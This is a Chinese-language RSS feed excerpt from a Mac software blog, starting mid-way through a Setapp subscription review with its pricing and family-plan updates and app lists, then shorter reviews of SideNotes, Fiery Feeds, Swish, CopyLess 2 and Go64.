    + + + + + + + + + + + + + + + + + + + + + +

    下载 Setapp 客户端(macOS)| 访问 Setapp 购买页面 

    + +

    招乘客或者发布开车信息的同学可加入 Telegram SetApp 发车群

    + +
    + +

    2019.05.07 更新: SetApp 发布了 2.0 版本,从品牌标识、网站设计、桌面端 app 设计度进行全新改造。软件的品牌标识变得更加简洁,据说团队从许多知名品牌身上汲取了设计灵感。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(67)

    + +

    Setapp 的 2.0 客户端改为了圆角设计风格,莫非当年的设计风格又回来了,你看这大圆角也太复古了吧,新版界面支持随系统 dark mode 切换自己的主题,整个界面操作起来响应速度更快更流畅。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(68)

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(69)

    + +

    Setapp 目前价格没有变化,月付价格依然为 9.99 刀,年付折合月费为 8.99 刀,整体要比按月支付节省 10%,也就是 12 刀;或者你也可以参照本文下方介绍的 “Family Plan 家庭套餐”,该套餐拥有者可邀请 5 名用户加入到家庭套餐,每名用户可注册一台 Mac,家庭套餐的价格为每月14.99美元,加上家庭套餐拥有者可注册两台 Mac,这整个套餐平均到每台 Mac 仅为 2.14 美元,折合人民币约 15 元,这么低的价格仅仅为月付版 9.99 美元的 2 折。

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(70)
    此图信息已经失效,请勿参考
    + +
    + +

    本周(2018.12.20),SetApp 官方推出了简体中文界面,中文用户可以更舒适的浏览其最新消息以及价格变化政策了。

    + +

    近日(2018.10.17),SetApp 发布了其问世以来最重磅最有竞争力最具福音的套餐- “Family Plan 家庭套餐”,该套餐拥有者可邀请5名用户加入到家庭套餐,每名用户可注册一台 Mac,家庭套餐的价格为每月14.99美元,加上家庭套餐拥有者可注册两台 Mac,这整个套餐平均到每台 Mac 仅为 2.14 美元,折合人民币约 15 元,这么低的价格约为标准版 9.99 美元的 二折,这么低的价格各位赶紧上车吧,每月 15 元的订阅价即可享用上百款精品 Mac 软件。同时 SetApp 官网已开始支持简体中文。

    + +

    如果你已注册 SetApp,不过是失效会员还是有效会员都可以在后台导航栏里进入家庭套餐频道将自己的会员切换到 Family Plan,账号“司机”可以随意邀请家庭成员,好友加入到此套餐中,邀请进来的用户一人可注册一台 Mac,该套餐最多可授权 7 台 Mac。

    + +

    大家如有组团购买家庭版套餐需求,可在看网站导航栏,进社区「专用版块」发帖自行开团招人。

    + +
    + +

    2018.12.12 更新:重量级软件 MindNode 这款经典的思维导图工具目前已上架 SetApp,随着像此类软件的加入 SetApp 将越来越强大,无论是你购买个人年付会员还是上车家庭版、学生版都将潜移默化的为你节省许多每年购买各类软件的费用。

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(71)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(72)

    MindNode 5

    做用户喜爱的思维导图工具

    + +

    2018.08.07 更新:Setapp 目前已推出年付会员计划,购买年付会员,每月价格低至 8.99 刀,戳 👉 购买入口

    + +

    2017.06.24 更新:目前入驻到 Setapp「官网」 的 Mac 软件已达 77 款,达到并超过百款也只是时间问题,目前 Setapp 的软件发现窗口嫣然已经是一个小型的「App Store」,你甚至可以看到左侧都已经有软件分类栏了。Setapp 下的 Mac 软件也会随其独立版本或 MAS 版本同步更新,订阅用户省去了大量的手动更新操作时间。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(73)

    + +

    Setapp 上新软件列表:

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(74)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(75)

    Forecast Bar

    未来8小时天气尽在掌握

    + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(80)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(81)

    Mosaic

    将窗口管理创造到新高度

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(82)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(83)

    Flume

    迄今为止最好的 Instagram 客户端「免费获取 Flume Pro」

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(84)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(85)

    Photolemur

    让摄影师下岗的致命应用?

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(86)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(87)

    Noizio

    能混合音效的白噪音软件

    + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(94)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(95)

    TripMode 2

    自定义使用场景让流量控制更精确

    + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(98)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(99)

    ForkLift 3

    将数据同步玩弄于鼓掌之中

    + + + + + + + + + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(114)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(115)

    Workspaces

    一键启用所有项目资源

    + + + + + + + + + + + + + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(134)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(135)

    Capto

    录屏+视频编辑一站式无缝操作工具

    + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(140)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(141)

    PDF Squeezer

    PDF文档压缩

    + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(144)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(145)

    Unclutter

    给Mac添加个iOS式下拉菜单

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(146)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(147)

    GoodTask for Mac 初体验

    精致的日历提醒工具

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(148)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(149)

    XMind

    开源免费的实用脑图软件

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(150)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(151)

    Dropshare for Mac 4

    让文件共享能力更强大

    + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(154)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(155)

    Iconjar

    设计师管理图标素材的好助手

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(156)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(157)

    NetSpot

    打造完美无线网络环境利器

    + + + + + + + + + +
    + +

    2016.12.8 首次推荐:近期,MacPaw(CleanMyMac 开发商)推出了一款长(chi)相(xiang)奇特的新软件 Setapp,目前正在招募内测者。说是软件,但我仔细想想其实就是一种全新的软件销售模式,或者说是渠道。MacPaw 召集了许多开发者将其主打软件放在 Setapp 里统一供用户免费,注意是免费的去下载、更新使用,而这些软件可都是实打实的硬货,而且默认的价格都不低,用户需要每月缴纳 9.99 美元的订阅费即可享受这种全新的软件获取体验。

    + +

    在互联网信息大爆炸的后期,无论是桌面软件还是移动应用,同质化的特点越来越突出,软件或应用本身的功能可以为开发者带来的增值效益越来越低。传统的单一定价或是更加灵活的内购模式似乎都不能给开发者收益带来质的飞跃。而 MacPaw 推出 Setapp,可以很明显的表明,开发者们也在抱团取暖,用资源绑定的方式去组队占领用户的桌面,这种创新思路的确令人称赞,不过你这么干,别的开发商也可以这么玩,我认为未来这种模式还会有很多家开发商去做,恩,战场的硝烟已经被闻到了,但最后的受益者总归是我们用户。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(166)

    + +

    Setapp 并没有像 MacUpdate Desktop 那样设计一个主体的管理界面,用户安装后只是在 Dock、Menubar 分别插入一个应用程序文件夹或是菜单栏。比如我在 Dock 上调用 Setapp 文件夹,会显示所有入驻 Setapp 的软件,这些软件还没有真正下载安装到本地硬盘,单击软件图标会弹出软件的详情页面,看上去就像是个 Mac App Store,最后点击「Open」按钮才会把软件真正部署安装到本地。无论这是款付费软件还是内购收费软件,从 Setapp 里启动后都将免费提供各项使用功能。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(167)

    + +

    同时,这些入驻 Setapp 的软件也将自动接受开发商发送的版本更新,Setapp 会随时推送给用户。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(168)

    + +

    总的来看,Setapp 的目标很明确,垄断软件售前,做好售后服务,如果你对这款新软(fu)件(wu)感兴趣,可立即登录官网申请内测,内测用户可免费试用软件到 2017 年一月底呢,最后让我们来看看 Setapp 里的合作软件都有谁:

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(148)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(149)

    XMind

    开源免费的实用脑图软件

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(171)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(172)

    Ulysses 2.6

    新增博客发布、快速搜索等实力派新功能

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(173)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(174)

    Alternote for Mac

    Evernote 第三方客户端

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(175)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(176)

    Blogo 2

    给博客编辑工具带来一股春风

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(134)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(135)

    Capto

    录屏+视频编辑一站式无缝操作工具

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(179)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(180)

    CleanMyMac 3

    新增 Mail/iTunes清理,系统维护,隐私清理,Dashboard

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(181)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(182)

    CodeRunner

    无需安装环境直接运行各种语言代码

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(183)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(184)

    Downie

    OS X 超级视频下载王

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(185)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(186)

    Folx 5

    旧貌换新颜

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(187)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(188)

    Focused

    Markdown 编辑器新贵「原 Typed」

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(189)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(190)

    Elmedia Player Pro

    集合播放、下载、管理的强大视频软件

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(191)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(192)

    Gemini 2

    让重复文件无处可匿

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(193)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(194)

    Gifox for Mac

    快速生成动图,我只要快

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(146)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(147)

    GoodTask for Mac 初体验

    精致的日历提醒工具

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(197)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(198)

    iMazing 2

    iOS 设备数据管理与备份的得力助手

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(199)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(200)

    HazeOver

    提高当前窗口操作专注度

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(201)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(202)

    iStat Menus 5

    系统监控好秘书

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(203)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(204)

    Numi 3

    语义化计算器再进化

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(205)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(206)

    MoneyWiz 3

    新装上阵,更加精彩

    + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(209)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(210)

    Paste

    剪切板工具革新者

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(211)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(212)

    Permute 2

    小巧便捷的多媒体文件格式转换器

    + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(215)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(216)

    Renamer 5

    十四种方法搞定所有文件批量重命名工作

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(217)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(218)

    Taskpaper 3

    宅男专用 GTD 工具

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(219)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(220)

    Sip

    做屏幕取色没人比我强

    + +
    + +

    下载 Setapp 客户端(macOS)| 访问 Setapp 购买页面 

    +

    本文发表自Mac玩儿法,转载请注明转自《SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/setapp-review/feed + 16 +
    + + SideNotes:让你随时在 Mac 屏幕上管理笔记 + https://www.waerfa.com/sidenotes-review + https://www.waerfa.com/sidenotes-review#respond + Fri, 18 Oct 2019 14:07:44 +0000 + + + + + https://www.waerfa.com/?p=106124 + + SideNotes 是一款基于 Mac 屏幕的隐藏式笔记管理软件,当然,这款软件属于一种“轻笔记”,不适合存储超大数量的笔记内容,只适合存放,寄存一些临时性的笔记内容,比如一些灵感诗句,网络文摘,代码片段,购买清单,待办事项,甚至是图片、文稿等文件也可以导入到里面。

    + +

    这款软件存储文本内容是支持 markdown 语法的。

    + +

    SideNotes:让你随时在 Mac 屏幕上管理笔记插图

    + +

    整个笔记存储区可以放在屏幕的左右两侧,触发方式可以是鼠标悬浮自动弹出,或者用光标点击触发。

    + +

    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(1)

    + +

    SideNotes 和 YoinkUnclutter 有点儿类似。在文本编辑区底部的 toolbar 可以选择内容的形式,比如待办事项、图片导入或者其他语法,同时这款软件也支持颜色标记以及模式选择,除了 markdown 还能选择纯文本或代码。

    + +

    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(2)

    + +

    SideNotes 支持建立多个文本目录进行管理,在每个目录的笔记列表,右上角的加号按钮如果是长按可以触发隐藏 action,比如从系统剪贴板支持 copy 进来内容,或者从外接的 iOS 设备导入图片。

    + +

    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(3)

    + +

    SideNotes 这款软件在官网、MAS、Setapp 同时上架了,前两个平台价格为 128 元人民币。目前国内的优惠价格是 119 元。

    + +

    此软件的开发商 apptorium 还推出过以下软件,我们也都进行了介绍:

    + + + +
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(6)
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(7)

    Workspaces

    一键启用所有项目资源

    + +
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(8)
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(9)

    ScreenFocus

    改善你在在多显示器环境下的工作效率

    + + + +
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(12)
    SideNotes:让你随时在 Mac 屏幕上管理笔记插图(13)

    FiveNotes

    精致小巧的速记软件

    + + + + +

    本文发表自Mac玩儿法,转载请注明转自《SideNotes:让你随时在 Mac 屏幕上管理笔记

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sidenotes-review/feed + 0 +
    + + Fiery Feeds for Mac:这个时代依旧需要阅读 + https://www.waerfa.com/fiery-feeds-for-mac-review + https://www.waerfa.com/fiery-feeds-for-mac-review#respond + Wed, 16 Oct 2019 16:12:12 +0000 + + + + https://www.waerfa.com/?p=106110 + + 著名的扩展性 RSS 阅读/稍后读工具 Fiery Feeds(后面简称 FF) 本月在 MAS 正式发布了 macOS 版本,桌面版在全部继承了 iOS 的 Smart Views 等功能外,还针对 Mac 平台特点,适配了 Dark Mode、Voice Over、Share Sheet 等功能,不过就是价格有些出乎意料,具体还是看我们的文章介绍吧!

    + +

    Smart Views

    + +

    FF Mac 版依然保留了 iOS 版的核心功能:Smart Views,在 SV 的加持下,用户可以对大数量的订阅文章进行归纳筛选,其实我们平时订阅的媒体文章质量有高有低,每个网站更新的频率有快有慢,甚至是在某个热点时间段,所有的媒体为了蹭热点与流量,都会报道同一个新闻,这就导致其中会有一个链接或多个链接会铺天盖地的出现在各大文章中,不管是新闻的发源地,还是造谣地,有了 Fiery Feeds 你都可以轻松筛选出来。

    + +
    Fiery Feeds for Mac:这个时代依旧需要阅读插图
    非全屏与全屏状态下有一个差别,估计也是个 bug,就是全屏界面下,顶部工具栏的阅读界面切换按钮消失了
    + +

    Fiery Feeds for Mac:这个时代依旧需要阅读插图(1)

    + +

    FF 可以同步你订阅平台中已经创建的文件夹、显示最近几天发布的文章,热门链接提取,偶尔会更新的文章,经常更新的文章等等,并且用户都可以设置阈值。

    + +
      +
    • Hot Links – 找到文章中连接最多的网站
    • +
    • 低频与高频 – 文件夹中显示那些很少更新或特别经常更新的订阅源的文章。
    • +
    • 长文章和短文章 – 文件夹按长度过滤文章。
    • +
    • 必读 – 文件夹是一个特别突出显示的文件夹,您可以在其中放置最重要的源。
    • +
    • 最近 – 文件夹仅显示今天发布的文章
    • +
    + +

    界面细节自定义与分享功能

    + +

    除了系统自带的 share sheet,FF 的 Mac 版还内置了许多分享到系统模块、第三方服务的 action,如下图所示:

    + +

    Fiery Feeds for Mac:这个时代依旧需要阅读插图(2)

    + +

    而且在文章阅读界面,你可以直接选择系统自带的主题,或者即时调整文章的标题大小、对齐方式、正文文本的各项排版参数,以及 BIONIC Reading 的开启(个人觉得对于中文用户很鸡肋),最后就是字体的选择。

    + +

    个性化主题和图标

    + +

    Mac 版默认提供了浅色,深色,醇黑的主题配色,如果木有满意的,可以直接到官网下载更多配色主题。

    + +

    Fiery Feeds for Mac:这个时代依旧需要阅读插图(3)

    + +

    Mac 版也提供了图标自选功能,不过目前还没有开放此功能的使用,仅仅是展示。

    + +

    Fiery Feeds for Mac:这个时代依旧需要阅读插图(4)

    + +

    写在最后

    + +

    开发者在自己的 blog 里曾写到由于 App Store 的政策要求,他无法做到自动化管理 iOS 与 macOS 两个平台的用户订阅机制,也就是 iOS 平台的高级版订阅用户无法在 macOS 版上享受权益,相反也是这样,也就是用户如果想要在两个平台都使用高级版功能,需要订阅(缴费)两次,这次 macOS 版是直接付费,终身有效,价格 35 刀,折合人民币 218 元,这样的价格我觉得还是有些高了,要知道它的同类产品 Reeder 价格也才只有 68 元人民币,而且使用体验非常顺滑,希望开发者能够酌情调整一下价格。

    + +

    支持的订阅源帐户

    + +
      +
    • Feedly
    • +
    • Feedbin
    • +
    • Feed Wrangler
    • +
    • Fever
    • +
    • NewsBlur
    • +
    • Tiny Tiny RSS
    • +
    • Inoreader
    • +
    • Bazqux
    • +
    • FreshRSS
    • +
    • The Old Reader
    • +
    • Nextcloud News
    • +
    • iCloud
    • +
    • Local Only
    • +
    + +

    支持的稍后阅读帐户

    + +
      +
    • Pinboard
    • +
    • Pocket
    • +
    • Instapaper
    • +
    • Wallabag
    • +
    • iCloud
    • +
    • Local Only
    • +
    + +

    竞品推荐

    + +
    Fiery Feeds for Mac:这个时代依旧需要阅读插图(5)
    Fiery Feeds for Mac:这个时代依旧需要阅读插图(6)

    Reeder

    经典文章阅读器限免,要的就是稳「macOS/iOS」

    +

    本文发表自Mac玩儿法,转载请注明转自《Fiery Feeds for Mac:这个时代依旧需要阅读

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/fiery-feeds-for-mac-review/feed + 0 +
    + + Swish:手势控制界的 PopClip + https://www.waerfa.com/swish-review + https://www.waerfa.com/swish-review#comments + Mon, 14 Oct 2019 13:32:21 +0000 + + + + + https://www.waerfa.com/?p=106103 + + Swish 这款软件是我在 Twitter 看 @Scomper 推荐的,第一印象,图标好熟悉的感觉,让我想起了 PopClip,只不过与后者擅长文本快速处理相比,Swish 专注的是窗口手势控制。

    + +

    Swish 的手势非常丰富,建议看我们的介绍前先把文末放的官方演示视频看了,很好理解的。

    + +

    基础手势

    + +

    与原厂手势相比,Swish 可以让我们通过在 trackpad 利用上下滑动手势,捏合手势(Pinch),双击、按住等动作实现窗口的前置、最小化;全屏/撤销全屏、关闭应用,对窗口尺寸设置及定位等功能,当你使用 Swish 手势时会自动提供 Haptic 反馈。

    + +

    使用 Swish 手势需要在应用的窗口 toolbar 或者 dock 图标上进行,两个区域使用 Swish 手势效果是一样的。

    + +

    举个例子,比如说某一个桌面上的应用窗口,在其 toolbar 上双指向下滑动即可将窗口切换到最小化,然后在其 dock 应用图标上双指向上滑动即可将窗口再次前置,嗯,很简单,基本上都是这种玩儿法。

    + +

    Swish:手势控制界的 PopClip插图

    + +

    另外就是当你双指在 toolbar、dock icon 上按住后不要松开,直接向左右等方向拖动,即可切换到窗口全尺寸、2×2 网格布局、2×3 网格布局或者多屏定位等非常酷的操作。

    + +

    平时我们在调整窗口尺寸,位置,最大化,最小化时候总是需要盯着窗口左上角那三个小按钮,现在有了 Swish 就可以彻底摆脱这种束缚了。

    + +

    Swish:手势控制界的 PopClip插图(1)

    + +

    Swish 在 Menubar 进行手势操作的玩儿法

    + +

    你可以直接在 menubar 上应用 Swish 手势,比如:

    + +
      +
    • 依次切换应用窗口:双指向左或向右滑动
    • +
    • 激活 macOS 默认应用切换程序:双指按住,然后看到 切换界面 后向左、向右滑动
    • +
    • 最小化所有前置的窗口:按住 shift + 向下滑动
    • +
    • 最大化刚才最小化的所有前置窗口:按住 shift + 向上滑动
    • +
    • 移动窗口到其他显示器屏幕:按住 ⌘ + 四个方向的手势滑动
    • +
    • 将滚动条切换到窗口的最顶端:双指向上滑动(适用于刷推、微博、看 rss 阅读器等场景)
    • +
    + +

    特别说明,组合手势里的功能键不是固定的 shift 或 ⌘,你可以在后台进行自定义,还有 control、option、fn 可以选择。

    + +

    更多进阶的玩儿法

    + +
      +
    • 按照主屏宽度分三栏切换:按住 shift + 向左右滑动
    • +
    • 按照主屏宽度分 2×3 切换:按住 shift + 向左上、右下进行滑动
    • +
    • 移动窗口到其他显示器屏幕:按住 ⌘ + 四个方向的手势滑动
    • +
    • 将窗口切换到第二个屏幕全屏显示:按住 ⌘ + 捏合手势
    • +
    + +

    废话不多说了,还是看 Swish 官方的演示视频吧,做的非常全面,我们就不做 GIF 动图了。

    + +

    + +

    文末我们送上一颗福利,Swish 的 license,评论里谈谈你对 macOS 手势控制的使用经验或其他 app 的使用推荐,我们会在评论里挑选一位发表内容最具参考性的朋友赢取这枚 license,抱歉各位,福利这次数量太少。

    +

    本文发表自Mac玩儿法,转载请注明转自《Swish:手势控制界的 PopClip

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/swish-review/feed + 7 +
    + + CopyLess 2:依旧强大的剪贴板软件 + https://www.waerfa.com/copyless-2-review + https://www.waerfa.com/copyless-2-review#respond + Wed, 09 Oct 2019 23:45:22 +0000 + + + + + + + + https://www.waerfa.com/?p=106092 + + 五、六年前,我们曾连续两次报道过 Copyless 这款剪贴板软件,一次初次报道,一次深入评测,这么多年过去了,这款软件依然坚守在剪贴板这个领域,而如今比他年纪大的、小的,统统停止了更新,实属难能可贵。

    + +

    CopyLess 2 在继承了一代的快捷键定义、连续复制/粘贴剪贴板记录,Direct Paste 等核心特性外,还加入了对 Dark Mode 的支持, iCloud 云同步,主题自定义等功能,整个软件更加的精致。

    + +

    CopyLess 2:依旧强大的剪贴板软件插图

    + +

    CopyLess 2 内置了 11 种主题,用户可以对字体、皮肤颜色进行自定义,默认的主题基本上和 macOS Terminal 主题非常类似。

    + +

    升级 Pro 版可以解锁 iCloud 数据同步、最多 1000 条剪贴板历史记录,无限的收藏记录功能,不过感觉这个 Pro 版含金量太低了,价格 45 元人民币永久有效。

    + +

    有了主列表最新十个剪贴板项目的快捷键调用,你可以省去在 CopyLess 主窗口一一进行复制粘贴的操作,打开主窗口,你就可以在目标程序上直接用快捷键进行项目粘贴,而且在主窗口的项目列表里还能直接拖放排序,这样比较灵活。

    + +

    CopyLess 2:依旧强大的剪贴板软件插图(1)

    + +

    目前可能是由于 Catalina 适配的关系,CopyLess 的 Direct Paste,也就是双击项目直接粘贴内容到目标程序的功能经过实测,发现不能正常粘贴每一个项目,往往会反复粘贴出同一个项目,目前已经把此问题反馈给开发商。使用 Direct Paste 需要你到官网下载它的插件,开启后才能正常使用。

    + +

    CopyLess 2:依旧强大的剪贴板软件插图(2)

    + +

    除 CopyLess 2 Pro 需要解锁付费,默认版本可免费下载使用。

    +

    本文发表自Mac玩儿法,转载请注明转自《CopyLess 2:依旧强大的剪贴板软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/copyless-2-review/feed + 0 +
    + + Go64:Catalina 不再支持 32 位应用,这款小软件可以帮你快速筛选出来 + https://www.waerfa.com/go64-review + https://www.waerfa.com/go64-review#respond + Tue, 08 Oct 2019 23:22:18 +0000 + + + + + https://www.waerfa.com/?p=106087 + + macOS 10.14 Mojave 应该是苹果 Mac 历史上最后一款支持 32 位应用的操作系统了,从 10.15 Catalina 开始,将仅支持 64 位应用,所有 32 位应用将无法正常启动,所以,在升级到 Catalina 后你很可能会遇到有些应用弹出不适配的提醒。

    + +

    Go64:Catalina 不再支持 32 位应用,这款小软件可以帮你快速筛选出来插图

    + +

    Go64 可以快速扫描你 Mac 中所有的应用程序,为你呈现出应用是否为 64 位或者 32 位,版本号,开发商以及官网,甚至可以为你计算出软件升级所需要花费的金额。

    + +

    Go64:Catalina 不再支持 32 位应用,这款小软件可以帮你快速筛选出来插图(1)

    + +

    而且支持 64 位的应用里如果包含 32 位组件也可以被这款软件检测出。初次使用这款软件在关闭软件时弹出一个 recommend 窗口,发现这款软件原来是 Default Folder X 等软件的开发商出品的。

    + +

    Go64:Catalina 不再支持 32 位应用,这款小软件可以帮你快速筛选出来插图(2)

    + +

    此前,苹果已经停止向 Mac App Store 投放 32 位应用程序。2018 年 1 月开始,任何提交到 Mac App Store 商店的新应用都必须支持 64 位,而从 2018 年 6 月起,任何已有的 Mac 应用和更新也都必须支持 64 位。

    + +

    2018 年 4 月初,用户在 macOS High Sierra 10.13.4 系统上启用 32 位应用时,系统将弹出提示:此应用程序需要由其开发人员更新以提高兼容性。

    +

    本文发表自Mac玩儿法,转载请注明转自《Go64:Catalina 不再支持 32 位应用,这款小软件可以帮你快速筛选出来

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/go64-review/feed + 0 +
